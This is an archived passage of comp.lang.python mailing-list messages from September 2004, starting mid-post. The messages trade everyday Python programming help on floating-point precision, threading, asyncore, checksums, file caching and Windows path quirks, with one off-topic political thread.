I'd expect this to happen. The script below illustrates the kind of thing I'm seeing. Do other people see the same thing? Am I missing something here? Thanks, -c import math x = 0.90455926850657064620 y = 0.90463240818925083619 z = -2.00200807043415807129e-08 cos_gamma1 = math.cos(x - y) - math.sin(x)*math.sin(y)*(1.0 - math.cos(z)) gamma1 = math.acos(cos_gamma1) # note that with this formula, as long as x and y are between 0 and pi, # it's mathematically impossible for gamma1 to be smaller than | x - y |, # since (1-cos(z)) will range from 0 to 2, and the sines will be positive # as long as x and y are between 0 and pi. So I'm always subtracting # a positive number off of cos(x-y). So that means the expression # gives a number smaller than cos(x-y); the arccos should then give an # angle larger than | x - y |. # So gamma1 should be greater than | x - y |. And it is. print "This should be positive: ", gamma1 - math.fabs(x-y) # I get 1.20693498327e-12 # But now let's rearrange the equation. cos_gamma2 = math.cos(x)*math.cos(y) + math.sin(x)*math.sin(y)*math.cos(z) gamma2 = math.acos(cos_gamma2) # This is the SAME EQUATION as above -- simply substitute the # trigonometric identity cos(x-y) = cos(x)*cos(y) + sin(x)*sin(y) # into the first equation. # So, since it's still the same equation, we should get the same # result -- and in particular, gamma2 should be greater than | x - y |. # It isn't. print "This should be positive: ", gamma2 - math.fabs(x-y) # I get -3.11013937044e-13 # Note that we don't need anything as weird as my data above # to generate weirdness. x = 0.999999 y = 0.999997 z = 1e-08 cos_gamma3 = math.cos(x - y) - math.sin(x)*math.sin(y)*(1.0 - math.cos(z)) gamma3 = math.acos(cos_gamma3) # Again, just from the functional form, gamma3 should be larger # than | x - y |. However . . . print "This should be positive: ", gamma3 - math.fabs(x-y) # it isn't. I get -2.21217876213e-11. -- Remove the "snip-me" to email. From peter at engcorp.com Mon Sep 6 18:58:12 2004 From: peter at engcorp.com (Peter Hansen) Date: Mon, 06 Sep 2004 18:58:12 -0400 Subject: How to actually write a program? In-Reply-To: <41398a3c$0$255$edfadb0f@dread12.news.tele.dk> References: <41398a3c$0$255$edfadb0f@dread12.news.tele.dk> Message-ID: Max M wrote: > Jp Calderone wrote: >> Close the file. Open test_mykewlprogram.py and begin writing unit >> tests. > > I completely agree in the value of test driven development, but for > someone writing a first program I completely disagree! > > He will have to fight both programming in itself, and the test driven > development process. I would have thought that the TDD process was *how* one would "fight programming". Do you have a better way? All the approaches I've seen in the past were much, much more difficult and less assured of useful results in a reasonable time. (Also, as a new programmer, he is unlikely to have to "fight" TDD, since he doesn't have other approaches to try to unlearn. I assume unlearning old habits is what you were thinking about, because TDD itself is so simple that it's not at all hard to actually follow the process.) > There is a big difference in learning to program, and in programming > itself. > > You should simply start coding! Solve problems as you go along. The most > important thing is to allways be aware when something is repeated. It seems to me the OP was asking *how* to "start coding". Telling him merely to do so is not likely to help. He already knows he has to start coding... > Dont Repeat Yourself > ==================== > > If you have written a similar piece of code 3 times, you should refactor > it into a function. How does he get any code at all, when he doesn't know how to start? You can't refactor what doesn't exist. -Peter From abra9823 at mail.usyd.edu.au Mon Sep 27 22:02:37 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 28 Sep 2004 12:02:37 +1000 Subject: finding time when url was modified In-Reply-To: <5r36d.524$gk.491@okepread01> References: <5r36d.524$gk.491@okepread01> Message-ID: <1096336957.4158c63d9cc2a@www-mail.usyd.edu.au> Quoting Steve Holden : > Ajay wrote: > > > hi! > > > > i am reading a file on the Web. How can i find out when it was last > > modified? > > > > thanks > > > That would be the "Last-Modified" HTTP header, when it's present. > > Python 2.3.4 (#1, Jun 13 2004, 11:21:03) > [GCC 3.3.1 (cygming special)] on cygwin > Type "help", "copyright", "credits" or "license" for more information. > >>> from urllib import urlopen > >>> f = urlopen("http://www.holdenweb.com/") > >>> print f.headers > Server: Microsoft-IIS/5.0 > Date: Tue, 28 Sep 2004 01:50:38 GMT > Content-Type: text/html > Accept-Ranges: bytes > Last-Modified: Wed, 25 Aug 2004 17:47:51 GMT > ETag: "242599a4cb8ac41:f460" > Content-Length: 12456 > > Oops, time I reinstalled the auto-update code to keep my Python links > fresh! is it possible for someone to change the Last-Modified header? Can someone put a new updated document, but in such a way that if someone requests that document, they get an old date rather than the new date? i can see a CGI script add its own header and then write out the document. but can this be done with a simple HTML page? thanks > > regards > Steve > -- > http://mail.python.org/mailman/listinfo/python-list > ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From max at alcyone.com Tue Sep 14 02:19:46 2004 From: max at alcyone.com (Erik Max Francis) Date: Mon, 13 Sep 2004 23:19:46 -0700 Subject: string % dictionary question References: Message-ID: <41468D82.55FEDC41@alcyone.com> Sam Sungshik Kong wrote: > I want the result to be just empty string when the dictionary value is > None. > Is there a good way? Best way is either subclass dict or write a simple wrapper object which returns "" instead of None. Or use EmPy :-). -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ Nobody can reach me, nobody can touch me; it's a wonderful feeling. -- Aaliyah From this at is.invalid Thu Sep 9 07:57:07 2004 From: this at is.invalid (Mercuro) Date: Thu, 09 Sep 2004 11:57:07 GMT Subject: Shorter checksum than MD5 In-Reply-To: References: Message-ID: Joachim Bauch wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi, > > Mercuro wrote: > | i'm looking for a simple way to checksum my data. The data is 70 bytes > | long per record, so a 32 byte hex md5sum would increase the size of my > | mysql db a lot. > | > | I'm looking for something that is 5 bytes long, for the moment i'm just > | taking a part of the hex md5 sum (like this: checksum = md5sum[3:8]). I > | don't have any duplicates, and I have over 100000 records, but i'm not > | sure for the future... > | > | > | Can anybody give me something better? Or point me to some website? > > You could use binascii.crc32() which generates a 4 byte checksum. > > ~From the python docs: > crc32( data[, crc]) > > Compute CRC-32, the 32-bit checksum of data, starting with an initial crc. > This is consistent with the ZIP file checksum. Since the algorithm is > designed for use as a checksum algorithm, it is not suitable for use as a > general hash algorithm. Use as follows: > > ~ print binascii.crc32("hello world") > ~ # Or, in two pieces: > ~ crc = binascii.crc32("hello") > ~ crc = binascii.crc32(" world", crc) > ~ print crc > > Cheers, > ~ Joachim > thx From remco at tomaatnet.nl Thu Sep 30 05:04:16 2004 From: remco at tomaatnet.nl (Remco Boerma) Date: Thu, 30 Sep 2004 10:04:16 +0100 Subject: List rotation In-Reply-To: References: Message-ID: Hi, > ('b', 'a', 'c', 'b', 'a', 'd', 'c') . > For trans = 3 the list would be ('d', 'c', 'a', 'd', 'c', 'b', 'a') > > items = ('a', 'b', 'c', 'd') > items + 1 = ( 'b', 'c', 'd', 'a') > items + 2 = ( 'c', 'd', 'a', 'b') > items + 3 = ( 'd', 'a', 'b', 'c') Is this what you're looking for? >>> items = [1,2,3,4,5,6] >>> items.append(items.pop(0)) >>> items [2, 3, 4, 5, 6, 1] >>> items.append(items.pop(0)) >>> items [3, 4, 5, 6, 1, 2] >>> or, with the trans variable used: >>> trans=3 >>> items = [1,2,3,4,5,6] >>> for t in xrange(trans): ... items.append(items.pop(0)) ... >>> items [4, 5, 6, 1, 2, 3] >>> M. Clift wrote: > > for idx in range(len(items)): > if list[idx:idx + 1] == ['a']: > list[idx:idx + 1] = ['d'] > if list[idx:idx + 1] == ['b']: > list[idx:idx + 1] = ['a'] That doesn't seem like a good option to me. . From aleaxit at yahoo.com Tue Sep 14 13:07:04 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 19:07:04 +0200 Subject: funcs vs vars in global namespace References: <1gk3y19.15ftybc1nbksniN%aleaxit@yahoo.com> <1gk408x.12hab2zxpzgmN%aleaxit@yahoo.com> <8KD1d.10$26.4@llslave.llan.ll.mit.edu> Message-ID: <1gk4a0b.1j8q5hu1nw55ptN%aleaxit@yahoo.com> David Rysdam wrote: ... > > sub_module = __import__(which_one_this_time) > > vars(sub_module).update(which_dict_this_time) > > print sub_module.the_function(23) ... > Oh wow, of course! I can set properties on the modules themselves. I'm > going to have to rethink what I'm doing and mess with that a bit, I'm > sure I'll have questions and problems later. Thanks! You're welcome! Yes, since your modules are not being used for other purposes except running the scriptlets you're controlling, changing those modules' global variables should be safe enough in your case. Alex From mark at prothon.org Wed Sep 1 02:50:15 2004 From: mark at prothon.org (Mark Hahn) Date: Tue, 31 Aug 2004 23:50:15 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <413170A2.1F1D1212@alcyone.com> <411e4639.0408291858.741eb8d8@posting.google.com> Message-ID: On 29 Aug 2004 19:58:53 -0700, Brian Almond wrote: >>> This is an announcement of the beginning of development of a new >>> Python-like language called PyCs (pronounced "pie-cees"). Like >>> IronPython, >>> PyCs will be Python on .Net but it will have more advanced features >>> and >>> probably have higher performance due to a Psyco-like implementation >>> technique. See http://pycs.org. >> >> Here we go again ... > > Is it time for an "intervention" yet? :) So you think I need a 12-step program for my language addiction? :-) From steve at holdenweb.com Tue Sep 28 22:14:13 2004 From: steve at holdenweb.com (Steve Holden) Date: Tue, 28 Sep 2004 22:14:13 -0400 Subject: [Fwd: Re: repeat something in a thread, but stop when the program stops] Message-ID: <415A1A75.5050704@holdenweb.com> [Sorry about this: the non-appearance of this article might just be due to a glitch on my news server, but other articles posted since have made it. So if this appears two, or three, or four times please accept my apologies for the paranoia which made me send it via the mailing list]. -------- Original Message -------- Subject: Re: repeat something in a thread, but stop when the program stops Date: Tue, 28 Sep 2004 20:45:00 -0400 From: Steve Holden Newsgroups: comp.lang.python References: <5db4fffa.0409270551.57a96cda at posting.google.com> Tim Peters wrote: > [Tim Peters, on waking up a thread to check a queue 20 times a second] > >>>Measure it: you won't be able to see a difference. Modern processors >>>cram on the order of 1E9 cycles into each second. Doing a tiny amount >>>of work 20 times per second is trivial. > > > [Harald Massa] > >>You are surely right, Tim. Measuring did not detect the difference. I just >>see my tasktray collecting more and more icons of programs which just do a >>very tiny amount of work every half a second, and ... as them getting many, >>the computer begins to feel more sluggish. > > > Those are quite different, and they do more work than you may think. > For example, if a program puts an icon in the Windows systray, then it > has a graphical UI too, and has to run a Windows message pump to > detect stuff like "is the mouse hovering over my icon now? did they > click on me? did they right-click on me? did they double-click on > me?". Apps in the systray often do a lot more than just that too. > For example, one app in my systray right now hooks itself into the > Windows clipboard chain, and intercepts (and so also slows, by some > amount I couldn't care less about) all clipboard operations. Another > hooks itself into the file system at a low level, tracking all disk > changes, and so slows (by a measurable amount!) all disk writes. > Heck, the little systray icon showing the pressure on my laptop's > touchpad represents a process that has read over a billion bytes since > I last booted. Etc. > > A Python thread waking up to see whether a Python Queue has something > in it does none of that stuff. If you have hundreds of Python threads > doing this, then you can start to think about maybe worrying when it > gets to thousands . [I'm beginning to get seriously worried about Mozilla, as two replies have now disappeared into the ether with no trace, even in Sent"!]. AS a data point, I have just finished my first serious use of threads, in a program that email monthly statements. With 14,000+ statements each month and a 20-second socket timeout on non-existent and slow SMTP servers, the run length of the single-threaded solution was getting way too long. So I recast the program as a manager main thread that generates a number of worker threads, each with its own input Queue. The manager sends database rows to each of the worker threads (double-buffering, though I suspect that isn't necessary) and the workers try to send the appropriate email and return a result on a common unlimited Queue. In testing, with fifty threads active the CPU utilization was reading 2-3% for most of the time, emphasizing that much of network communication is waiting for things to happen. I'm thinking about increasing the number of threads still further for production, but I have little experience to guide me, so advice will be welcomed. A further benefit of the exercise is that the program as refactored is much cleaner, easier to understand and better coupled than it previously was. In case it's of interest I attach (to avoid word-wrap) the code of the proof-of-concept demonstrator I hacked together before starting work on the production program. regards Steve -- XXX Please note recent change of email address -------------- next part -------------- A non-text attachment was scrubbed... Name: thrtest.py Type: application/x-python Size: 2521 bytes Desc: not available URL: From nospam at here.com Thu Sep 16 13:30:05 2004 From: nospam at here.com (Richard Townsend) Date: Thu, 16 Sep 2004 18:30:05 +0100 Subject: Can anyone confirm that menu events are not supported References: Message-ID: On 16 Sep 2004 07:23:53 -0700, Yves Daoust wrote: > by Tkinter under Windows. > Idle is written in Tkinter and its menu options certainly generate events on my win2k system. -- Richard From aleaxit at yahoo.com Fri Sep 10 17:39:26 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 10 Sep 2004 23:39:26 +0200 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> <20040910093156.4cfcb6ff@gypsy.pfortin.com> <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com> <20040910114048.4c68a21c@gypsy.pfortin.com> Message-ID: <1gjx7qu.1rhsiun1grmnzlN%aleaxit@yahoo.com> Pierre Fortin wrote: ... > > > self.__dict__.update(locals()) > > > > Ah, sorry, my favourite idiom to avoid the boilerplate of > > > > def __init__(self, fee, fie, foo, fum): > > self.fee = fee > > self.fie = fie > > self.foo = foo > > self.fum = fum > > > > Boilerplate is bad, and I'm keen on "Once, and ONLY once!" as a > > programming practice, so having to mention each of those names three > > times in totally repetitive ways makes me shiver. My favourite idiom > > I fully agree with "once and ONLY once"... but you've pointed out that > "not-at-all is better than once"... :^) Well, there is 'once' here -- the names of the attributes are listed once, in the argument list of 'def __init__' > > does, per se, leave a silly self.self around (which means a silly > > reference loop) so I should remember to 'del self.self' after it... > > Since "self" is a convention (could use "this"), t'would be nice if Python > could avoid foo.foo ref. loops in a future release... I don't see how to do that cleanly, simply and within general rules. "Special cases are not special enough to break the rules"... > > > map = dict(Date=Date, > > > Open=float(Open), > > > High=float(High), > > > Low=float(Low), > > > Close=float(Close), > > > Volume=int(Volume), > > > AdjClose=float(AdjClose), > > > Change=change[int(float(AdjClose) >= float(Open)) + > > > int(float(AdjClose) == float(Open))] > > > ) > > > > I could suggest some deboilerplatization here, too, but maybe that would > > be pushing things too far... > > Hey! You're on a roll and I'm open for more abu... er education if this > isn't an imposition... :^) Sure, see later. > > it IS a Python oddity that True+False > > equals 1;-). > > That's OK with me... it was True+True equals *1* (OR v. +) that forced me > to wrap them with int()'s Nope: >>> True+True 2 so I'm not sure what you mean...? Anyway, back to map. You have a bunch of local variables you want to also set into a dict, except that most of them will need to be passed through some one-argument function first. Change can fall into that pattern if you just compute a local variable of that name just before you compute map, so assume you've done that. Now, once, outside of the loop, you prepare...: howto_makemap = dict(Date=str, Volume=int, Change=change.__getitem__) then, when it's time to prepare map, map = {} for k, v in locals(): try: map[k] = howto_makemap.get(k, float)(v) except (ValueError, TypeError): pass voila -- that's all you need. You may end up with a few extraneous entries in map (corresponding to local variables that just happen to be castable into a float but have nothing to do with 'map') but that ain't gonna break anything. Whether I'd do this in production code -- I dunno. It does reduce boilerplate, but unfortunately it can only do this via a CLEVER trick. Now CLEVER is a _criticism_, for code that's meant to be read and maintained... something that happens over and over, like the self.__dict__update idea, can be forgiven some cleverness, but a one-off need is *probably* best met with simplicity even if that does mean some boilerplate. After all, if it's clever, 8 months from now when you need to touch your code again you'll have a hard time figuring out what you were doing here. Good code is linear and obvious, either because of intrinsic simplicity or familiarity through idiomatic (frequent) use... So, in production code, I think I'd eschew this cleverness and rather take the boilerplate hit. Simplicity never comes easy to those of us who are born with a tortuous mind, but it's still worth striving for! Alex From jbellis at gmail.com Fri Sep 3 17:44:31 2004 From: jbellis at gmail.com (Jonathan Ellis) Date: 3 Sep 2004 14:44:31 -0700 Subject: open default MUA with a hyper link In-Reply-To: Message-ID: Yann.K wrote: > I would like to do a hypertext link on a GUI, which launch a per default > mail user agent (with the "to" header documented). > To launch an url in a web browser i use webbrowser.open(url). > Do exist an equivalent command to run the per default MUA (like ie > webbrowser.mail_open(toto at example.com)? >>> import os >>> os.startfile("mailto:jbellis at gmail.com") -Jonathan From elbertlev at hotmail.com Mon Sep 20 13:16:15 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 20 Sep 2004 10:16:15 -0700 Subject: select performance on windows Message-ID: <9418be08.0409200916.7415dc68@posting.google.com> Python 2.3 Windows NT 4.0 (512M, PIII-500) Here are results of performance comparison of several strategies of multiple socket handling (server side). To do this comparison I've written 3 servers and a client: 1. thread per connection (SocketServer based) 2. asynchat based 3. asynchat + worker thread. 4. multithreaded client All these servers are reading text strings from connected clients; convert them to upper case and return to the client. In the case of asynchat + worker thread, worker thread waits on Queue and posts "uppercased data" to server queue which is periodically checked by loop. Because asyncore.loop does not return control to the caller, I had to overwrite this function, by extending asyncore.loop: def loop(timeout=30.0, use_poll=0, map=None, after_pool = None): ............................... while map: poll_fun(timeout, map) if (after_pool): after_pool(map) In essence after timeout has expired I check the server queue. The client is written in such a way, that after connection is made, it does not start the conversation for 2 minutes, allowing to check the overhead. The timeout value has to be set reasonably low: 200-500 ms. (With 400 sockets and timeout = 0.2 overhead is 3-5 percent CPU time). Client connection sends random length strings in the range(1, 9999), reads the reply and sleeps up to 30 seconds. Then it repeats the loop. Here are the results in the form x/y, where: x is average precent of cpu usage and y maximum precent of cpu usage, NS - number of connected sockets. NS thread per connection asyncore asyncore+worker 64 0.5/2.0 2.7/6.9 2/6 128 1.0/3.0 7.4/22.8 6.6/19 256 1.6/6.0 26/43 21/33 400 3.5/9.0 52/75 46/67 The throuput and reply latency are measured on the client and are aproximately the same for all servers. Any comments? From fredrik at pythonware.com Mon Sep 20 02:04:34 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 20 Sep 2004 08:04:34 +0200 Subject: File cache for images References: <414e53d7@news.mt.net.mk> Message-ID: "me at here.there.nowhere" wrote: > I'm looking for a way to cache some modified images as files (in a python > program ofcourse). The scenario would look like this: > > getmodifiedimage(filename): > is it in cache? > is the cache up to date (not older than file) > if not, modify filename and store in cache > (keyed by filename + modification) > return modified image > > I'm looking for prior-art before inventing it myself :) I'm not sure what "modify filename" means, but a straightforward solution is not that much longer than your pseudocode: def getmodifiedimage(filename, cache={}): try: image, mtime = cache[filename] if mtime < os.path.getmtime(filename): raise KeyError except KeyError: image = open(filename, "rb").read() # or something cache[filename] = image, os.path.getmtime(filename) return image From davebrok at soda.csua.berkeley.edu Mon Sep 13 02:52:00 2004 From: davebrok at soda.csua.berkeley.edu (David Pokorny) Date: Sun, 12 Sep 2004 23:52:00 -0700 Subject: Greenlets: where are they now??? References: Message-ID: "Peter Hansen" wrote in message news:x6SdnVJ8pp4xC9ncRVn-rQ at powergate.ca... > Seriously though, what is the actual problem to which you feel > greenlets are a good solution? Greenlets are about 90% of a solution (which I've thought hard about) to the problem of interrupting an execution after 50 byte-code, while retaining the ability to resume the execution (for, say, another 50 byte codes). The main requirements of the solution are: - it work with regular CPython with minimal tinkering (some tinkering of ceval.c is necessary). - it not do any "reimplementing eval," i.e. I'm not in the business of second-guessing PyEval_EvalFrame. ... In other words, my message may have implied that I'm concerned with other people's uses for coroutines. I'm actually much more interested in hearing Armin Rigo comment on the development status of Greenlets. BTW, the code that ultimately will get interrupted every 50 byte codes is not my own---it will be Python bots, written by users... ...friendly users... () David From albalmer at att.net Mon Sep 20 11:34:26 2004 From: albalmer at att.net (Alan Balmer) Date: Mon, 20 Sep 2004 08:34:26 -0700 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> Message-ID: On 17 Sep 2004 23:10:27 -0700, Patrick Scheible wrote: >Alan Balmer writes: > >> On 14 Sep 2004 10:15:27 -0700, Patrick Scheible >> wrote: >> >> >Chuck Dillon writes: >> > >> >> Coby Beck wrote: >> >> >> >> >> >> >> >>And, of course, entertaining the possibility that his agenda is just >> >> >>what he says it is, is completely out of the question. >> >> > Not out of the question, be obviously untrue. >> >> >> >> Again, I'll point out that it is naive to put this entirely on the >> >> administration. We're in Iraq because we effectively declared >> >> war. The dance with the U.N. went on for some 3 months. It was clear >> >> where we were headed. Our congress, including Kerry and all of the >> > ^^^ >> >Not all. I'm happy to say my representative and one of my senators >> >voted against the resolution authorizing the war. >> > >> >Congress doesn't have its own intelligence service. If the >> >administration claims to have clear evidence that a country has WMD >> >there's only so much that a minority party in congress can do to find >> >out if the administration is lying or engaged in wishful thinking. >> >> http://intelligence.house.gov/ >> http://intelligence.senate.gov/ > >They have committees, they don't have independent >intelligence-gathering ability. > Neither does President Bush - he doesn't have time for all those field trips. That's why he gets reports from the various intelligence agencies, who also report to the Congressional intelligence committees. -- Al Balmer Balmer Consulting removebalmerconsultingthis at att.net From newsgroups at jhrothjr.com Mon Sep 13 10:03:18 2004 From: newsgroups at jhrothjr.com (John Roth) Date: Mon, 13 Sep 2004 09:03:18 -0500 Subject: launching JCL on MVS References: <1095065818.428799@ftpgate> Message-ID: <10kba6a8gnqgvb4@news.supernews.com> "Chris" wrote in message news:1095065818.428799 at ftpgate... > Is it possible to use Python to launch JCL jobs on an IBM MVS HOST (OS390) > ? It's been a few years, but there is an IBM manual that explains the MVS FTP server in excruciating detail. The MVS FTP server is quite different from most FTP servers; I'd suggest that you find the manual and read it. IIRC, what you want to do is not particularly difficult, but it's not at all obvious if all you know is the typical unixoid and windows FTP servers. John Roth > > From kanji_rama at yahoo.com Tue Sep 28 20:21:21 2004 From: kanji_rama at yahoo.com (kanji) Date: 28 Sep 2004 17:21:21 -0700 Subject: Python C/API based multithread python program locks Message-ID: Hi ALL, I have written a multithreaded python program where each thread calls a C function (via Python/C extension module) to execute some tasks on a remote node. The number of threads == the number of nodes specified by the user. The issue is it works most of the time, but occassionally (I mean this is quite random ) it hangs and it does not generate any errors as such. While trying to debug, sometimes even the gdb hangs, but i managed to get a backtrace of a hung thread: #0 0xb75ebc32 in _dl_sysinfo_int80 () from /lib/ld-linux.so.2 #1 0xb75d11ee in pthread_cond_wait@@GLIBC_2.3.2 () from/lib/tls/libpthread.so.0 #2 0x0809bb3f in PyThread_acquire_lock () #3 0x0809e45c in _PyObject_GC_Del () #4 0x0807cad6 in PyEval_GetFuncDesc () #5 0x0807abc4 in PyEval_EvalCode () #6 0x0807b65e in PyEval_EvalCodeEx () #7 0x0807cbbb in PyEval_GetFuncDesc () #8 0x0807ab33 in PyEval_EvalCode () #9 0x0807b65e in PyEval_EvalCodeEx () #10 0x0807cbbb in PyEval_GetFuncDesc () #11 0x0807ab33 in PyEval_EvalCode () #12 0x0807b65e in PyEval_EvalCodeEx () #13 0x0807cbbb in PyEval_GetFuncDesc () #14 0x0807ab33 in PyEval_EvalCode () #15 0x0807b65e in PyEval_EvalCodeEx () #16 0x08078555 in PyEval_EvalCode () #17 0x08098569 in PyRun_FileExFlags () #18 0x080974d0 in PyRun_SimpleFileExFlags () #19 0x08096e1a in PyRun_AnyFileExFlags () #20 0x08053ac9 in Py_Main () #21 0x08053519 in main () So just to weed out the possibility that it is not because of some error in the code, I iteratively called the same function (which creates say 100 threads) in a for loop - for 500 times. I found that it tends to hang at different iterations -- say may be at iteration #480 or #12 or sometimes it sails smoothly. in the python program -- the outputs from all threads are synchronized via thread.join() In the extension C srcs, i have used Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS brackets to take care of GIL. I have separately tested the C functions and it seemed to work fine. Any ideas what could be the possible problem ? The test system is RHEL 3 and Python version 2.2.2 Please let me know if there any useful pointers to solve this issue. Thanks kanji From usenet_spam at janc.invalid Sun Sep 12 23:27:12 2004 From: usenet_spam at janc.invalid (JanC) Date: Mon, 13 Sep 2004 03:27:12 GMT Subject: Question: tools for business apps development References: <864d370904090606465938fea5@mail.gmail.com> <2qavr3Ft7dgdU1@uni-berlin.de> <2qb2tmFt7dgdU2@uni-berlin.de> <10k2rng56uh2f64@corp.supernews.com> Message-ID: Carlos Ribeiro schreef: > I remember when IE started taking the market by storm, and in the > process added some annyong extensions to its own HTML version. The > worst ones were the blinking Blinking was invented by Netscape -- JanC "Be strict when sending and tolerant when receiving." RFC 1958 - Architectural Principles of the Internet - section 3.9 From nathan_kent_bullock at yahoo.ca Sat Sep 11 14:56:43 2004 From: nathan_kent_bullock at yahoo.ca (Nathan Bullock) Date: 11 Sep 2004 11:56:43 -0700 Subject: How do you make issubclass work References: <52f8effc.0409102054.4bcaa426@posting.google.com> Message-ID: <52f8effc.0409111056.62be09f6@posting.google.com> I think my first post was a little unclear. I will try again. I have two files, the first is this: File b.py: ------------------- from a import cla_a class cla_b(cla_a): pass ------------------- File a.py ------------------- class cla_a(object): pass class cla_c(cla_a): pass if __name__ == "__main__": import b as mod print issubclass(mod.cla_b, cla_a) print issubclass(mod.cla_b, mod.cla_a) print issubclass(cla_c, cla_a) print mod.cla_a is cla_a ------------------- Results of 'python a.py' False True True False ----------------------------- This is using python 2.3.3. Is this a bug? Why do we have two different cla_a's which are not the same? And do to this problem how in the world do I determine if a cla_b is a subclass of cla_a? Obviously they are, but issubclass doesn't realize it because the cla_a that I am testing with is not the same instance of cla_a as cla_b was derived from. > > [As modules are cached, subsequent imports of the same module yield the same > module instance. Therefore the same classes (cla_a is cla_a == True) are > seen by all parts of a program and it (normally) doesn't matter in what > module a class is defined.] > > Peter Now I take it from this answer from Peter, that if I did the test in a third file so that I was using an imported instance of cla_a that issubclass would then work properly. Nathan From ialbert at mailblocks.com Mon Sep 20 15:36:15 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Mon, 20 Sep 2004 15:36:15 -0400 Subject: Shopping cart In-Reply-To: <81a41dd.0409200816.5659197b@posting.google.com> References: <81a41dd.0409200816.5659197b@posting.google.com> Message-ID: <45Wdnau1nP6wrNLcRVn-oA@giganews.com> Lad wrote: > Is there a shopping cart in Python available? I don't know about shopping carts but here is a nice garage opener: http://www.advancedoverheaddoor.com/products_python2.htm Needless to say I was very pleased last week when I saw what got installed in my garage... Istvan. From carribeiro at gmail.com Tue Sep 14 16:03:42 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 14 Sep 2004 17:03:42 -0300 Subject: Strange "feature" involving double slashes in Win98 Message-ID: <864d370904091413036116a182@mail.gmail.com> Hello all. I'm sending this to the list because I would like to know if someone else has ever stumbled across this one, and also because one possible solution is to patch, or simply "decorate", some of the Python libraries functions (a few of the os and os.path calls). Note: if you're going to reply, please read it *all* before doing so -- I've already explored this problem quite a bit, and found no obvious solution to it yet. ** The problem ** I am evaluating DrPython, one of the many IDEs available now. I had a problem with it that I was able to track down to the particular way the pathnames use by the program are constructed. To make a long story short, Windows 98 doesn't like pathnames in the following format: slashes: "c://somedir" backslashes: r"c:\\somedir" (it doesn't matter if the string is provided with forward or back slashes. If the double slash is located immediately after the drive letter+comma, then it bombs. The result can be a weird immediate error, but in some cases one has to expect for a long timeout. Double slashes of any sort are permitted in the middle of the pathname, though) The problem seems to have an obvious explanation. As probably everyone knows, Windows uses a double slash notation for the machine name in SMB shares. But wait -- the pathname includes a drive letter, so it must not be a SMB share name! Or could it be? I never had seen before a share named like this: c:\\machinename\somedir I really don't know if the pathname above is valid in SMB or not. But I have good reason to believe that it should be invalid, as it makes no sense (because of the drive letter, of course). Knowing that, the problem can be reproduced in the DOS prompt quite easily: a) cd c:\\windows --> fails with an "invalid folder" message b) cd c:\\[my_workstation_name] --> abort, retry or ignore Example (b) failed that way because I have disabled file serving in my PC. But it's strange to note that it handled it differently just because I used my own workstation name. I also don't know if this that way problem affects other versions of Windows besides Win98SE. If you try it, please let me know. ** Solving the problem ** DrPython relies on string concatenation to build new pathnames. My root dir is "c:/", and at some places in the code, other pieces are concatenated to it, causing the problem. In Unix it doesn't happen -- double slashes are fine anywhere. Knowing that, there are three possible solutions for the problem: 1) Never write pathnames starting with double slashes. It should be easy... but remember, I'm dealing with third party code here. It will take some time for me to find out and correct all the places where os functions are called with a pathname. I have tried to do it, in fact, but still DrPython freezes from time to time due to this problem as I find yet another place where a pathname is build from the concationation of small pieces. 2) Fix os calls to correct the problem. Not really sure about it... because I'm afraid that not this is not going to ship with the standard Python library. After all, it's a Windows bug. 3) Decorate os calls to correct the problem. For now, that's my best bet for a generic solution that doesn't break anyone else's code. I can write a wrapper for some of the affected OS calls, and eliminate the double slashes out of the pathname before calling the original function. It might work , but I still have to test it. Well, that's the problem. What's I'm supposed to do? -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From carribeiro at gmail.com Tue Sep 21 14:41:08 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 21 Sep 2004 15:41:08 -0300 Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: <_YWdnWax9KXx783cRVn-og@giganews.com> References: <864d370904092109509df67ee@mail.gmail.com> <_YWdnWax9KXx783cRVn-og@giganews.com> Message-ID: <864d3709040921114165c34550@mail.gmail.com> On Tue, 21 Sep 2004 14:26:54 -0400, Istvan Albert wrote: > If the objects cannot be compared then there is no > reasonable result. Getting them back in whatever order is not one. > You're better off not sorting then. If half of your objects are > sortable and the rest are not what should the result be? Well, there is a sizeable chunk of mathemathical theory dealing with sorting things that can't be directly compared -- google for topological sorting. It's used, for example, in graph theory. But that's off topic, I've mentioned it just to point to you that it's really dangerous to make assertions regarding what's reasonable or not with regards to sorting... -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From aleaxit at yahoo.com Sat Sep 25 13:31:52 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 25 Sep 2004 19:31:52 +0200 Subject: Don't let your babies grow up to be programmers References: 